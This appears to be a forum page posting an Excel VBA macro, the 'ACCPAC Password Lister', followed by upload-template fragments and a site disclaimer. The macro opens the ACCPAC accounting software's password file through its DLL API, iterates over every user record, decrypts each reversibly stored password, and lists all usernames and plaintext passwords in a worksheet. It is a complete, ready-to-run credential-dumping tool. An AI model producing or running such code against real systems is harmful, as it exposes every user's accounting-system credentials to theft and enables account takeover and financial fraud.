ACCPAC Password Lister (Excel VBA Module)

' ACCPAC Password Lister ' ' passwords are stored using a reversible algorithm, and can be easily obtained by calling the relevant API functions
Declare Function isamOpen Lib "a4wapi.dll" (ByVal pszFile As Long, ByVal unkZero
As Long, ByRef handle As Long) As Long Declare Function isamClose Lib "a4wapi.dll" (ByVal handle As Long) As Long Declare Function isamBrowse Lib "a4wapi.dll" (ByVal handle As Long, ByVal pszKey As Long, ByVal unkZero As Long, ByVal unkOne As Long) As Long Declare Function isamFetch Lib "a4wapi.dll" (ByVal handle As Long, ByVal pszKey As Long, ByVal pBuffer1 As Long, ByVal pBuffer2 As Long, ByVal unkZero As Long) As Long Declare Function isamEndBrowse Lib "a4wapi.dll" (ByVal handle As Long) As Long Declare Function ibGetLIB Lib "a4wapi.dll" (ByVal size As Long, ByVal pIn As Long, ByVal pOut As Long) As Long
' XXX - change this to the location of BROWSE.ISM Const PASSWORD_PATH = "c:\accpac\shared\site\browse"
Sub GetAccpacPasswords()
Dim ret As Long Dim isamHandle As Long ' open password file ret = isamOpen(ASCIIStrPtr(PASSWORD_PATH), 0, isamHandle) If ret <> 0 Then MsgBox "isamOpen failed with error code " + ret Exit Sub End If ' start browse ret = isamBrowse(isamHandle, ASCIIStrPtr(" "), 0, 1) If ret <> 0 Then MsgBox "isamBrowse failed with error code " + ret Exit Sub End If With Sheet1 .Cells.Clear .Cells.NumberFormat = "@" .[A1] = "USERNAME" .[B1] = "PASSWORD" .[A1:B1].Font.Bold = True currentrow = 2 Do ' fetch result Dim buffer1(0 To 1024) As Byte Dim buffer2(0 To 1) As Long Dim skey As Long, bufptr1 As Long, bufptr2 As Long buffer1(0) = 80 buffer1(1) = 3 buffer1(6) = 32 buffer1(7) = 32 buffer1(8) = 32 buffer1(9) = 32 buffer1(10) = 32 buffer1(11) = 32 buffer1(12) = 32 buffer1(13) = 32 bufptr1 = VarPtr(buffer1(0)) bufptr2 = VarPtr(buffer2(0)) skey = VarPtr(buffer1(6)) ret = isamFetch(isamHandle, skey, bufptr1, bufptr2, 0) .Cells(currentrow, 1) = Trim(BytesToString(8, 6, buffer1())) ' reverse password If ret = 37 Then Dim buffer3(0 To 63) As Byte ret2 = ibGetLIB(64, VarPtr(buffer1(30)), VarPtr(buffer3(0))) .Cells(currentrow, 2) = Trim(BytesToString(64, 0, buffer3())) End If currentrow = currentrow + 1 Loop While ret = 37 .Cells.EntireColumn.AutoFit End With ' end browse ret = isamEndBrowse(isamHandle) ' close password file ret = isamClose(isamHandle) End Sub
Function ASCIIStrPtr(str As String) As Long
ASCIIStrPtr = StrPtr(StrConv(str, vbFromUnicode))
End Function
Function BytesToString(size As Long, start As Long, arr() As Byte) As String
BytesToString = "" For n = start To start + size - 1 BytesToString = BytesToString + Chr(arr(n)) Next n End Function
Add pictures here
<% if( /^image/.test(type) ){ %>
<% } %>
<%-name%>
Add image file
Upload

BeanSmart.com is a site by and for consumers of financial services and advice. We are not affiliated with any of the banks, financial services or software manufacturers discussed here. All logos and trade names are the property of their respective owners.

Tax and financial advice you come across on this site is freely given by your peers and professionals on their own time and out of the kindness of their hearts. We can guarantee neither accuracy of such advice nor its applicability for your situation. Simply put, you are fully responsible for the results of using information from this site in real life situations.